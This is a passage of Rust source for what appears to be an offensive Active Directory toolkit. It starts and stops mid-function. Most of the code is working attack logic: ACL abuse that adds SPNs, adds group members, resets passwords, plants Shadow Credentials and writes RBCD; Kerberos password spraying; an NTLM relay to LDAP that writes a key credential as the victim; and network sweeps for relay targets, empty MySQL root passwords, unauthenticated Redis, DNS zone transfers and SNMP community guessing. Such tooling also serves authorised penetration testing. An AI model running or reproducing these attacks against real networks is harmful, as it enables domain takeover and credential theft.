insecure: a.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let target_dn = c.resolve_dn(&a.target).await?;
match a.action.as_str() {
"add-spn" => {
c.add_value(&target_dn, "servicePrincipalName", &a.value).await?;
println!("[+] added SPN '{}' to {} — now Kerberoastable", a.value, a.target);
}
"add-member" => {
let member_dn = c.resolve_dn(&a.value).await?;
c.add_value(&target_dn, "member", &member_dn).await?;
println!("[+] added {} to group {}", a.value, a.target);
}
"set-password" => {
c.set_password(&target_dn, &a.value).await?;
println!("[+] reset password of {}", a.target);
}
"add-keycred" => {
let kc = adhammer_kerberos::shadowcred::build_key_credential(&target_dn)?;
c.add_value(&target_dn, "msDS-KeyCredentialLink", &kc.dn_binary).await?;
let key_path = format!("{}.key.pem", a.target);
std::fs::write(&key_path, &kc.private_key_pem)?;
println!("[+] added Shadow Credential to {} — key saved to {key_path}", a.target);
println!(" (Phase 2: PKINIT with this key to obtain a TGT as {})", a.target);
}
"write-rbcd" => {
let trustee = if a.value.starts_with("S-") {
adhammer_core::sid::Sid::parse(&a.value).context("bad SID")?
} else {
c.resolve_sid(&a.value).await?
};
let sd = windows_sddl::build_rbcd_sd(&trustee);
c.write_binary(&target_dn, "msDS-AllowedToActOnBehalfOfOtherIdentity", sd).await?;
println!("[+] wrote RBCD on {} allowing {} to impersonate to it", a.target, a.value);
}
other => anyhow::bail!("unknown action '{other}' (add-spn|add-member|set-password|write-rbcd|add-keycred|pkinit)"),
}
Ok(())
}
async fn spray(a: SprayArgs) -> Result<()> {
use adhammer_kerberos::{check_credential, CredResult};
let users: Vec<String> = if let Some(path) = a.users.strip_prefix('@') {
std::fs::read_to_string(path)?
.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect()
} else {
a.users
.split(',')
.map(|u| u.trim().to_string())
.filter(|u| !u.is_empty())
.collect()
};
for u in &users {
match check_credential(u, &a.password, &a.realm, &a.kdc).await {
Ok(CredResult::Valid) => println!("[+] VALID {u}:{}", a.password),
Ok(CredResult::ValidButExpired) => println!("[+] VALID (expired) {u}:{}", a.password),
Ok(CredResult::Disabled) => println!("[-] disabled/locked {u}"),
Ok(CredResult::NoPreAuth) => println!("[*] AS-REP roastable {u} (no pre-auth)"),
Ok(CredResult::Invalid) | Ok(CredResult::NoSuchUser) => {} Ok(CredResult::Other(c)) => eprintln!(" {u}: KDC error {c}"),
Err(e) => eprintln!(" {u}: {e}"),
}
}
Ok(())
}
async fn lsa(a: LsaArgs) -> Result<()> {
use dcerpc::lsat::LsatClient;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let pipe = smb.open_pipe("lsarpc").await?;
let mut client = LsatClient::bind(&mut smb, pipe).await?;
let policy = client.open_policy().await?;
match client.lookup_name(&policy, &a.name).await? {
Some(sid) => println!("{} => {sid}", a.name),
None => println!("{} => (not mapped)", a.name),
}
Ok(())
}
async fn samr(a: SamrArgs) -> Result<()> {
use dcerpc::samr::SamrClient;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
tracing::info!("SMB session established");
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let pipe = smb.open_pipe("samr").await?;
tracing::info!("\\samr pipe open");
let mut client = SamrClient::bind(&mut smb, pipe).await?;
let users = client
.enumerate_all_users(&format!("\\\\{}", a.host))
.await?;
println!("== SAMR users ({}) ==", users.len());
for (rid, name) in users {
println!(" {rid}\t{name}");
}
Ok(())
}
const SERVICES: &[(u16, &str)] = &[
(21, "ftp"),
(22, "ssh"),
(23, "telnet"),
(25, "smtp"),
(53, "dns"),
(80, "http"),
(88, "kerberos"),
(110, "pop3"),
(111, "rpcbind"),
(135, "msrpc"),
(139, "netbios"),
(143, "imap"),
(389, "ldap"),
(443, "https"),
(445, "smb"),
(464, "kpasswd"),
(587, "smtp"),
(636, "ldaps"),
(873, "rsync"),
(993, "imaps"),
(995, "pop3s"),
(1433, "mssql"),
(1521, "oracle"),
(2049, "nfs"),
(3268, "gc"),
(3306, "mysql"),
(3389, "rdp"),
(5432, "postgres"),
(5900, "vnc"),
(5985, "winrm"),
(5986, "winrm-s"),
(6379, "redis"),
(8080, "http-alt"),
(8443, "https-alt"),
(9200, "elastic"),
];
const GREETERS: &[u16] = &[21, 22, 25, 110, 143];
async fn relay(a: RelayArgs) -> Result<()> {
use smb2_client::server::RelayConn;
let base: String = a
.realm
.split('.')
.map(|p| format!("DC={p}"))
.collect::<Vec<_>>()
.join(",");
let listener = RelayConn::listen(&a.listen).await?;
println!(
"[*] relay listening on {} → LDAP {} (write keycred on {})",
a.listen, a.target_dc, a.target_object
);
println!(" now coerce/poison a victim toward this host (e.g. attack coerce --pipe spoolss --listener <us>)");
loop {
let (stream, peer) = listener.accept().await?;
let (target_dc, base, target_object) =
(a.target_dc.clone(), base.clone(), a.target_object.clone());
tokio::spawn(async move {
if let Err(e) =
relay_one(stream, &peer.to_string(), &target_dc, &base, &target_object).await
{
println!("[-] relay from {peer} failed: {e}");
}
});
}
}
async fn relay_one(
stream: tokio::net::TcpStream,
peer: &str,
target_dc: &str,
base: &str,
target_object: &str,
) -> Result<()> {
use smb2_client::server::RelayConn;
let mut rc = RelayConn::new(stream);
let type1 = rc.recv_type1().await?;
println!("[+] victim {peer} started NTLM — relaying to {target_dc} LDAP");
let mut ld = adhammer_ldap::LdapClient::connect(&format!("{target_dc}:389")).await?;
let type2 = ld.sasl_step1(&type1).await?; rc.send_challenge(&type2).await?; let type3 = rc.recv_type3().await?;
ld.sasl_step2(&type3).await?; println!("[+] relayed bind to {target_dc} succeeded as the victim");
let dn = ld.find_dn(base, target_object).await?;
let kc = adhammer_kerberos::shadowcred::build_key_credential(&dn)?;
ld.modify_add(&dn, "msDS-KeyCredentialLink", kc.dn_binary.as_bytes())
.await?;
std::fs::write(format!("{target_object}.key.pem"), &kc.private_key_pem)?;
println!("[+] Shadow Credential written on {dn} — key {target_object}.key.pem");
println!(" → attack abuse --action pkinit --target {target_object} --realm <realm> --kdc {target_dc}");
Ok(())
}
async fn netenum(a: NetArgs) -> Result<()> {
let hosts = expand_targets(&a.targets)?;
eprintln!(
"[*] sweeping {} hosts × {} ports…",
hosts.len(),
SERVICES.len()
);
let sem = std::sync::Arc::new(tokio::sync::Semaphore::new(a.concurrency));
let mut set = tokio::task::JoinSet::new();
for host in hosts {
for &(port, svc) in SERVICES {
let sem = sem.clone();
let host = host.clone();
set.spawn(async move {
let _permit = sem.acquire().await.ok()?;
let banner = probe_port(&host, port).await?; Some((host, port, svc, banner))
});
}
}
type PortEntry = (u16, &'static str, Option<String>);
let mut hosts_map: std::collections::HashMap<String, Vec<PortEntry>> = Default::default();
while let Some(r) = set.join_next().await {
if let Ok(Some((host, port, svc, banner))) = r {
hosts_map.entry(host).or_default().push((port, svc, banner));
}
}
let mut signing: std::collections::HashMap<String, (u16, bool)> = Default::default();
for (host, ports) in &hosts_map {
if ports.iter().any(|(p, _, _)| *p == 445) {
if let Ok(mut c) = smb2_client::SmbClient::connect(host).await {
if let Ok(s) = c.probe_signing().await {
signing.insert(host.clone(), s);
}
}
}
}
let mut hosts_sorted: Vec<_> = hosts_map.into_iter().collect();
hosts_sorted.sort_by_key(|(h, _)| {
h.parse::<std::net::Ipv4Addr>()
.map(u32::from)
.unwrap_or(u32::MAX)
});
println!("== network sweep: {} live hosts ==", hosts_sorted.len());
let mut relay = Vec::new();
for (host, mut ports) in hosts_sorted {
ports.sort_by_key(|(p, _, _)| *p);
let has = |p: u16| ports.iter().any(|(x, _, _)| *x == p);
let role = if has(88) && has(389) { "DC " } else { "host" };
println!(" {host:<15} {role}");
for (port, svc, banner) in &ports {
let b = banner
.as_deref()
.map(|s| format!(" {s}"))
.unwrap_or_default();
println!(" {port:<5} {svc:<10}{b}");
}
if let Some((d, req)) = signing.get(&host) {
if *req {
println!(" 445 smb-signing REQUIRED (0x{d:04x})");
} else {
println!(" 445 smb-signing OFF → NTLM-RELAY TARGET (0x{d:04x})");
relay.push(host.clone());
}
}
if a.deep {
for (port, _, _) in &ports {
if let Some(finding) = deep_check(&host, *port, a.zone.as_deref()).await {
println!(" [!] {port:<5} {finding}");
}
}
if let Some(finding) = snmp_public(&host, &a.community).await {
println!(" [!] 161 {finding}");
}
}
}
if !relay.is_empty() {
println!(
"\n[+] {} NTLM-relay target(s) (SMB signing not required): {}",
relay.len(),
relay.join(", ")
);
}
Ok(())
}
async fn probe_port(host: &str, port: u16) -> Option<Option<String>> {
use tokio::io::AsyncReadExt;
use tokio::time::{timeout, Duration};
let connect = tokio::net::TcpStream::connect((host, port));
let mut stream = match timeout(Duration::from_millis(800), connect).await {
Ok(Ok(s)) => s,
_ => return None, };
if !GREETERS.contains(&port) {
return Some(None);
}
let mut buf = [0u8; 256];
let banner = match timeout(Duration::from_millis(600), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let line = String::from_utf8_lossy(&buf[..n]);
Some(line.lines().next().unwrap_or("").trim().to_string())
}
_ => None,
};
Some(banner)
}
async fn deep_check(host: &str, port: u16, zone: Option<&str>) -> Option<String> {
match port {
21 => ftp_anon(host).await,
25 => smtp_vrfy(host).await,
53 => dns_check(host, zone).await,
111 => nfs_showmount(host).await, 135 => rpc_surface(host).await,
873 => rsync_modules(host).await,
1433 => mssql_prelogin(host).await,
3306 => mysql_probe(host).await,
6379 => redis_unauth(host).await,
5900 => vnc_noauth(host).await,
5985 | 5986 => winrm_probe(host, port).await,
_ => None,
}
}
async fn connect(host: &str, port: u16) -> Option<tokio::net::TcpStream> {
tokio::time::timeout(
std::time::Duration::from_millis(1200),
tokio::net::TcpStream::connect((host, port)),
)
.await
.ok()?
.ok()
}
async fn read_some(s: &mut tokio::net::TcpStream, buf: &mut [u8]) -> usize {
use tokio::io::AsyncReadExt;
tokio::time::timeout(std::time::Duration::from_millis(900), s.read(buf))
.await
.ok()
.and_then(|r| r.ok())
.unwrap_or(0)
}
async fn ftp_anon(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 21).await?;
let mut buf = [0u8; 512];
read_some(&mut s, &mut buf).await; s.write_all(b"USER anonymous\r\n").await.ok()?;
read_some(&mut s, &mut buf).await;
s.write_all(b"PASS anonymous@adhammer\r\n").await.ok()?;
let n = read_some(&mut s, &mut buf).await;
String::from_utf8_lossy(&buf[..n])
.starts_with("230")
.then(|| "FTP: ANONYMOUS LOGIN ALLOWED".to_string())
}
async fn smtp_vrfy(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 25).await?;
let mut buf = [0u8; 512];
read_some(&mut s, &mut buf).await;
s.write_all(b"VRFY root\r\n").await.ok()?;
let n = read_some(&mut s, &mut buf).await;
let r = String::from_utf8_lossy(&buf[..n]);
(r.starts_with("250") || r.starts_with("252"))
.then(|| "SMTP: VRFY enabled (user enumeration)".to_string())
}
async fn redis_unauth(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 6379).await?;
s.write_all(b"INFO\r\n").await.ok()?;
let mut buf = [0u8; 512];
let n = read_some(&mut s, &mut buf).await;
String::from_utf8_lossy(&buf[..n])
.contains("redis_version")
.then(|| "REDIS: UNAUTHENTICATED (no AUTH required)".to_string())
}
async fn rpc_surface(host: &str) -> Option<String> {
use dcerpc::{epm, Syntax};
let ifaces = [
(
"e3514235-4b06-11d1-ab04-00c04fc2dcd2",
4u16,
0u16,
"DRSUAPI(dcsync)",
),
("367abb81-9844-35f1-ad32-98f038001003", 2, 0, "SVCCTL(exec)"),
("86d35949-83c9-4044-b424-db363231fd0c", 1, 0, "TSCH(exec)"),
(
"338cd001-2244-31f1-aaaa-900038001003",
1,
0,
"RemoteRegistry",
),
(
"c681d488-d850-11d0-8c52-00c04fd90f7e",
1,
0,
"EFSR(petitpotam)",
),
(
"12345678-1234-abcd-ef00-0123456789ab",
1,
0,
"RPRN(printerbug)",
),
];
let mut found = Vec::new();
for (uuid, maj, min, name) in ifaces {
if epm::resolve_port(host, Syntax::new(uuid, maj, min))
.await
.is_ok()
{
found.push(name);
}
}
(!found.is_empty()).then(|| format!("RPC/EPM registered: {}", found.join(", ")))
}
async fn vnc_noauth(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 5900).await?;
let mut ver = [0u8; 12];
tokio::time::timeout(
std::time::Duration::from_millis(900),
s.read_exact(&mut ver),
)
.await
.ok()?
.ok()?;
if &ver[0..3] != b"RFB" {
return None;
}
s.write_all(&ver).await.ok()?; let mut buf = [0u8; 64];
let n = read_some(&mut s, &mut buf).await;
let v = String::from_utf8_lossy(&ver).trim().to_string();
if n >= 2 {
let count = buf[0] as usize;
if buf[1..(1 + count).min(n)].contains(&1) {
return Some(format!("VNC ({v}): NO AUTH (security-type None offered)"));
}
return Some(format!("VNC ({v}): auth required"));
}
None
}
async fn winrm_probe(host: &str, port: u16) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, port).await?;
let req = format!("POST /wsman HTTP/1.1\r\nHost: {host}\r\nContent-Type: application/soap+xml;charset=UTF-8\r\nContent-Length: 0\r\n\r\n");
s.write_all(req.as_bytes()).await.ok()?;
let mut buf = [0u8; 1024];
let n = read_some(&mut s, &mut buf).await;
let r = String::from_utf8_lossy(&buf[..n]);
if r.contains(" 401") {
let mut m = Vec::new();
for a in ["Negotiate", "NTLM", "Kerberos", "Basic"] {
if r.contains(a) {
m.push(a);
}
}
Some(format!(
"WinRM: enabled (auth: {})",
if m.is_empty() {
"unknown".into()
} else {
m.join("/")
}
))
} else {
r.contains("HTTP/1.")
.then(|| "WinRM: HTTP responding".to_string())
}
}
async fn rsync_modules(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 873).await?;
let mut buf = [0u8; 1024];
let n = read_some(&mut s, &mut buf).await; let greet = String::from_utf8_lossy(&buf[..n]);
let ver = greet.strip_prefix("@RSYNCD:").map(|v| v.trim())?;
s.write_all(format!("@RSYNCD: {ver}\n").as_bytes())
.await
.ok()?;
s.write_all(b"\n").await.ok()?;
let n = read_some(&mut s, &mut buf).await;
let body = String::from_utf8_lossy(&buf[..n]);
let mods: Vec<&str> = body
.lines()
.map(str::trim)
.filter(|l| !l.is_empty() && !l.starts_with("@RSYNCD"))
.map(|l| l.split_whitespace().next().unwrap_or(l))
.collect();
if mods.is_empty() {
Some("RSYNC: daemon reachable (no anonymous modules listed)".to_string())
} else {
Some(format!(
"RSYNC: {} module(s) exported: {}",
mods.len(),
mods.join(", ")
))
}
}
async fn mysql_probe(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 3306).await?;
let mut hdr = [0u8; 4];
tokio::time::timeout(
std::time::Duration::from_millis(1000),
s.read_exact(&mut hdr),
)
.await
.ok()?
.ok()?;
let plen = (hdr[0] as usize) | (hdr[1] as usize) << 8 | (hdr[2] as usize) << 16;
if !(1..=1024).contains(&plen) {
return None;
}
let mut pkt = vec![0u8; plen];
s.read_exact(&mut pkt).await.ok()?;
if pkt.first() != Some(&10) {
if pkt.first() == Some(&0xff) {
return Some("MySQL: reachable, host-not-allowed / access denied".to_string());
}
return Some("MySQL: reachable (unrecognized handshake)".to_string());
}
let ver_end = pkt[1..].iter().position(|&b| b == 0).map(|p| p + 1)?;
let version = String::from_utf8_lossy(&pkt[1..ver_end]).to_string();
let mut body = Vec::new();
body.extend_from_slice(&0x0008_8201u32.to_le_bytes()); body.extend_from_slice(&0x0100_0000u32.to_le_bytes()); body.push(0x21); body.extend_from_slice(&[0u8; 23]); body.extend_from_slice(b"root\0");
body.push(0x00); body.extend_from_slice(b"mysql_native_password\0");
let mut resp = vec![
body.len() as u8,
(body.len() >> 8) as u8,
(body.len() >> 16) as u8,
1,
];
resp.extend_from_slice(&body);
s.write_all(&resp).await.ok()?;
let mut rh = [0u8; 4];
if s.read_exact(&mut rh).await.is_err() {
return Some(format!(
"MySQL {version}: handshake parsed (login result unavailable)"
));
}
let rlen = (rh[0] as usize) | (rh[1] as usize) << 8 | (rh[2] as usize) << 16;
let mut rp = vec![0u8; rlen.min(1024)];
let _ = s.read_exact(&mut rp).await;
match rp.first() {
Some(0x00) => Some(format!("MySQL {version}: EMPTY root PASSWORD ACCEPTED")),
Some(0x01) if rp.get(1) == Some(&0x03) => Some(format!(
"MySQL {version}: EMPTY root PASSWORD ACCEPTED (caching_sha2 fast-auth)"
)),
_ => Some(format!(
"MySQL {version}: auth required (root/empty rejected)"
)),
}
}
async fn mssql_prelogin(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 1433).await?;
let mut opts = Vec::new();
let data_start = 3 * 2 + 1; opts.extend_from_slice(&[0x00, 0x00, data_start as u8, 0x00, 0x06]); opts.extend_from_slice(&[0x01, 0x00, (data_start + 6) as u8, 0x00, 0x01]); opts.push(0xff); opts.extend_from_slice(&[0u8; 6]); opts.push(0x00); let total = 8 + opts.len();
let mut pkt = vec![0x12, 0x01, (total >> 8) as u8, total as u8, 0, 0, 0, 0]; pkt.extend_from_slice(&opts);
s.write_all(&pkt).await.ok()?;
let mut hdr = [0u8; 8];
tokio::time::timeout(
std::time::Duration::from_millis(1000),
s.read_exact(&mut hdr),
)
.await
.ok()?
.ok()?;
if hdr[0] != 0x04 {
return Some("MSSQL: reachable (unexpected TDS response)".to_string());
}
let len = ((hdr[2] as usize) << 8 | hdr[3] as usize).saturating_sub(8);
let mut body = vec![0u8; len.min(512)];
if s.read_exact(&mut body).await.is_err() || body.len() < 5 {
return Some("MSSQL: TDS PRELOGIN responded".to_string());
}
let (version, enc) = parse_prelogin(&body);
let v = version.unwrap_or_else(|| "unknown".into());
let e = match enc {
Some(0x00) => "encryption OFF (login in cleartext)",
Some(0x02) => "encryption NOT SUPPORTED (login in cleartext)",
Some(0x01) => "encryption available",
Some(0x03) => "encryption REQUIRED",
_ => "encryption state unknown",
};
Some(format!("MSSQL {v}: {e}"))
}
fn parse_prelogin(body: &[u8]) -> (Option<String>, Option<u8>) {
let (mut version, mut enc) = (None, None);
let mut i = 0;
while i + 5 <= body.len() && body[i] != 0xff {
let token = body[i];
let off = (body[i + 1] as usize) << 8 | body[i + 2] as usize;
let l = (body[i + 3] as usize) << 8 | body[i + 4] as usize;
if off + l <= body.len() {
let d = &body[off..off + l];
if token == 0x00 && l >= 4 {
version = Some(format!(
"{}.{}.{}",
d[0],
d[1],
(d[2] as u16) << 8 | d[3] as u16
));
} else if token == 0x01 && l >= 1 {
enc = Some(d[0]);
}
}
i += 5;
}
(version, enc)
}
async fn dns_check(host: &str, zone: Option<&str>) -> Option<String> {
let mut out = Vec::new();
if let Some(v) = dns_version_bind(host).await {
out.push(format!("version.bind={v}"));
}
if let Some(z) = zone {
match dns_axfr(host, z).await {
Some(count) if count > 0 => {
out.push(format!("AXFR OK for {z}: {count} records LEAKED"))
}
Some(_) => out.push(format!("AXFR refused for {z}")),
None => {}
}
}
(!out.is_empty()).then(|| format!("DNS: {}", out.join(" · ")))
}
async fn dns_version_bind(host: &str) -> Option<String> {
let sock = tokio::net::UdpSocket::bind("0.0.0.0:0").await.ok()?;
sock.connect((host, 53)).await.ok()?;
let mut q = vec![0x13, 0x37, 0x01, 0x00, 0, 1, 0, 0, 0, 0, 0, 0];
for label in ["version", "bind"] {
q.push(label.len() as u8);
q.extend_from_slice(label.as_bytes());
}
q.push(0);
q.extend_from_slice(&[0x00, 0x10, 0x00, 0x03]); sock.send(&q).await.ok()?;
let mut buf = [0u8; 512];
let n = tokio::time::timeout(std::time::Duration::from_millis(900), sock.recv(&mut buf))
.await
.ok()?
.ok()?;
let ans = &buf[..n];
let mut best = String::new();
let mut cur = String::new();
for &b in &ans[12.min(n)..] {
if (0x20..0x7f).contains(&b) {
cur.push(b as char);
} else {
if cur.trim().len() > best.trim().len() {
best = cur.clone();
}
cur.clear();
}
}
if cur.trim().len() > best.trim().len() {
best = cur;
}
let best = best.trim().to_string();
(best.len() >= 3).then_some(best)
}
async fn dns_axfr(host: &str, zone: &str) -> Option<usize> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 53).await?;
let mut msg = vec![0x13, 0x38, 0x00, 0x00, 0, 1, 0, 0, 0, 0, 0, 0]; for label in zone.split('.').filter(|l| !l.is_empty()) {
msg.push(label.len() as u8);
msg.extend_from_slice(label.as_bytes());
}
msg.push(0);
msg.extend_from_slice(&[0x00, 0xfc, 0x00, 0x01]); let framed = [&(msg.len() as u16).to_be_bytes()[..], &msg].concat(); s.write_all(&framed).await.ok()?;
let mut total_ancount = 0usize;
let mut got_any = false;
loop {
let mut len = [0u8; 2];
match tokio::time::timeout(
std::time::Duration::from_millis(1500),
s.read_exact(&mut len),
)
.await
{
Ok(Ok(_)) => {}
_ => break,
}
let n = u16::from_be_bytes(len) as usize;
if n < 12 {
break;
}
let mut buf = vec![0u8; n];
if s.read_exact(&mut buf).await.is_err() {
break;
}
got_any = true;
let rcode = buf[3] & 0x0f;
if rcode != 0 {
return Some(0); }
total_ancount += u16::from_be_bytes([buf[6], buf[7]]) as usize;
if total_ancount > 1 {
break;
}
}
got_any.then_some(total_ancount)
}
async fn nfs_showmount(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 111).await?;
let mut call = rpc_call(100000, 2, 3, 0x4841_4d31);
call.extend_from_slice(&100005u32.to_be_bytes()); call.extend_from_slice(&3u32.to_be_bytes()); call.extend_from_slice(&6u32.to_be_bytes()); call.extend_from_slice(&0u32.to_be_bytes()); s.write_all(&rpc_frame(&call)).await.ok()?;
let reply = rpc_recv(&mut s).await?;
let port = reply
.get(reply.len().saturating_sub(4)..)
.map(|b| u32::from_be_bytes(b.try_into().unwrap()))?;
if port == 0 || port > 65535 {
return Some("NFS: portmap up but MOUNT not registered".to_string());
}
let mut m = connect(host, port as u16).await?;
let call = rpc_call(100005, 3, 5, 0x4841_4d32);
m.write_all(&rpc_frame(&call)).await.ok()?;
let mut buf = vec![0u8; 4096];
let n = tokio::time::timeout(std::time::Duration::from_millis(1200), m.read(&mut buf))
.await
.ok()?
.ok()?;
let exports = parse_exports(&buf[..n.min(buf.len())]);
if exports.is_empty() {
Some(format!(
"NFS: MOUNT on :{port} (no exports listed / access denied)"
))
} else {
Some(format!(
"NFS: {} export(s): {}",
exports.len(),
exports.join(", ")
))
}
}
fn rpc_call(prog: u32, vers: u32, proc_: u32, xid: u32) -> Vec<u8> {
let mut b = Vec::new();
b.extend_from_slice(&xid.to_be_bytes());
b.extend_from_slice(&0u32.to_be_bytes()); b.extend_from_slice(&2u32.to_be_bytes()); b.extend_from_slice(&prog.to_be_bytes());
b.extend_from_slice(&vers.to_be_bytes());
b.extend_from_slice(&proc_.to_be_bytes());
b.extend_from_slice(&[0, 0, 0, 0, 0, 0, 0, 0]); b.extend_from_slice(&[0, 0, 0, 0, 0, 0, 0, 0]); b
}
fn rpc_frame(msg: &[u8]) -> Vec<u8> {
let marker = 0x8000_0000u32 | (msg.len() as u32);
[&marker.to_be_bytes()[..], msg].concat()
}
async fn rpc_recv(s: &mut tokio::net::TcpStream) -> Option<Vec<u8>> {
use tokio::io::AsyncReadExt;
let mut m = [0u8; 4];
tokio::time::timeout(std::time::Duration::from_millis(1200), s.read_exact(&mut m))
.await
.ok()?
.ok()?;
let len = (u32::from_be_bytes(m) & 0x7fff_ffff) as usize;
if !(4..=65536).contains(&len) {
return None;
}
let mut buf = vec![0u8; len];
s.read_exact(&mut buf).await.ok()?;
Some(buf)
}
fn parse_exports(body: &[u8]) -> Vec<String> {
let mut out = Vec::new();
let mut i = 24usize.min(body.len()); while i + 4 <= body.len() {
let more = u32::from_be_bytes(body[i..i + 4].try_into().unwrap());
i += 4;
if more != 1 {
break; }
if i + 4 > body.len() {
break;
}
let dlen = u32::from_be_bytes(body[i..i + 4].try_into().unwrap()) as usize;
i += 4;
if dlen == 0 || dlen > 1024 || i + dlen > body.len() {
break;
}
out.push(String::from_utf8_lossy(&body[i..i + dlen]).to_string());
i += (dlen + 3) & !3; while i + 4 <= body.len() {
let g = u32::from_be_bytes(body[i..i + 4].try_into().unwrap());
i += 4;
if g != 1 {
break;
}
if i + 4 > body.len() {
break;
}
let glen = u32::from_be_bytes(body[i..i + 4].try_into().unwrap()) as usize;
i += 4 + ((glen + 3) & !3);
}
}
out
}
async fn snmp_public(host: &str, communities: &str) -> Option<String> {
for community in communities
.split(',')
.map(str::trim)
.filter(|c| !c.is_empty())
{
if let Some(desc) = snmp_get_sysdescr(host, community).await {
let d = desc.chars().take(60).collect::<String>();
return Some(format!("SNMP: community '{community}' VALID → {d}"));
}
}
None
}
async fn snmp_get_sysdescr(host: &str, community: &str) -> Option<String> {
let sock = tokio::net::UdpSocket::bind("0.0.0.0:0").await.ok()?;
sock.connect((host, 161)).await.ok()?;
let oid = [0x2b, 0x06, 0x01, 0x02, 0x01, 0x01, 0x01, 0x00]; let varbind = ber_seq(&[ber(0x06, &oid), ber(0x05, &[])].concat()); let varbinds = ber_seq(&varbind);
let pdu_body = [
ber(0x02, &[0x2a]), ber(0x02, &[0x00]), ber(0x02, &[0x00]), varbinds,
]
.concat();
let pdu = ber(0xa0, &pdu_body); let msg = ber_seq(
&[
ber(0x02, &[0x00]), ber(0x04, community.as_bytes()), pdu,
]
.concat(),
);
sock.send(&msg).await.ok()?;
let mut buf = [0u8; 1500];
let n = tokio::time::timeout(std::time::Duration::from_millis(900), sock.recv(&mut buf))
.await
.ok()?
.ok()?;
let resp = &buf[..n];
if resp.first() != Some(&0x30) {
return None;
}
Some(snmp_first_octet_string(resp).unwrap_or_else(|| "(accepted)".to_string()))
}
fn ber(tag: u8, val: &[u8]) -> Vec<u8> {
let mut out = vec![tag];
let len = val.len();
if len < 0x80 {
out.push(len as u8);
} else if len < 0x100 {
out.extend_from_slice(&[0x81, len as u8]);
} else {
out.extend_from_slice(&[0x82, (len >> 8) as u8, len as u8]);
}
out.extend_from_slice(val);
out
}
fn ber_seq(val: &[u8]) -> Vec<u8> {
ber(0x30, val)
}
fn snmp_first_octet_string(buf: &[u8]) -> Option<String> {
let mut i = 0;
let mut best: Option<String> = None;
while i + 2 <= buf.len() {
let tag = buf[i];
let mut len = buf[i + 1] as usize;
let mut hdr = 2;
if len == 0x81 && i + 2 < buf.len() {
len = buf[i + 2] as usize;
hdr = 3;
} else if len == 0x82 && i + 3 < buf.len() {
len = ((buf[i + 2] as usize) << 8) | buf[i + 3] as usize;
hdr = 4;
}
if tag == 0x30 || tag == 0xa0 || tag == 0xa2 {
i += hdr; continue;
}
if i + hdr + len > buf.len() {
break;
}
if tag == 0x04 && len >= 4 {
let v = &buf[i + hdr..i + hdr + len];
if v.iter().all(|&b| (0x20..0x7f).contains(&b)) {
best = Some(String::from_utf8_lossy(v).to_string());
}
}
i += hdr + len;
}
best
}
fn expand_targets(spec: &str) -> Result<Vec<String>> {
if let Some(file) = spec.strip_prefix('@') {
let content = std::fs::read_to_string(file).context("read targets file")?;
return Ok(content
.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect());
}
if spec.contains('/') {
let (base, prefix) = spec.split_once('/').unwrap();
let ip: std::net::Ipv4Addr = base.parse().context("bad CIDR address")?;
let prefix: u32 = prefix.parse().context("bad CIDR prefix")?;
anyhow::ensure!((8..=32).contains(&prefix), "CIDR prefix must be 8..=32");
let host_bits = 32 - prefix;
let size = if host_bits == 0 {
1u32
} else {
1u32 << host_bits
};
let mask = if host_bits == 0 {
u32::MAX
} else {
!(size - 1)
};
let net = u32::from(ip) & mask;
let (start, end) = if prefix <= 30 {
(1, size - 1)
} else {
(0, size)
};
return Ok((start..end)
.map(|i| std::net::Ipv4Addr::from(net + i).to_string())
.collect());
}
Ok(spec
.split(',')
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
.collect())
}
fn config(a: &ScanArgs) -> LdapConfig {
LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: a.base_dn.clone(),
insecure: a.insecure,
gssapi: a.gssapi,
}
}
async fn scan(a: ScanArgs) -> Result<()> {
let snap = Collector::connect(&config(&a)).await?.collect().await?;
tracing::info!(objects = snap.objects.len(), "collected");
let graph = ControlGraph::build(&snap);
let stats = graph.stats();
let paths = graph.paths_to_tier0();
let mut findings = adhammer_checks::run_all(&snap, &graph);
if let Some(path) = &a.bloodhound {
let p = std::path::Path::new(path);
let n = adhammer_bloodhound::export_zip(&snap, p)?;
eprintln!("[+] BloodHound export: {} JSON files → {}", n, p.display());
}
if let Some(sysvol) = &a.sysvol {
let root = std::path::Path::new(sysvol);
let hits = adhammer_sysvol::scan(root);
tracing::info!(gpp = hits.len(), "sysvol GPP swept");
if let Some(f) = adhammer_sysvol::finding(&hits) {
findings.insert(0, f);
}
let policy = adhammer_sysvol::gptmpl::scan_policy(root);
findings.extend(adhammer_sysvol::gptmpl::policy_findings(&policy));
}
let report = Report::build(
&snap.domain.domain_dn,
findings,
paths,
stats,
&RiskConfig::default(),
);
match a.format.as_str() {
"html" => println!("{}", report.to_html()),
_ => println!("{}", report.to_json()),
}
Ok(())
}
async fn roast(a: ScanArgs) -> Result<()> {
let snap = Collector::connect(&config(&a)).await?.collect().await?;
let realm = snap
.domain
.domain_dn
.split(',')
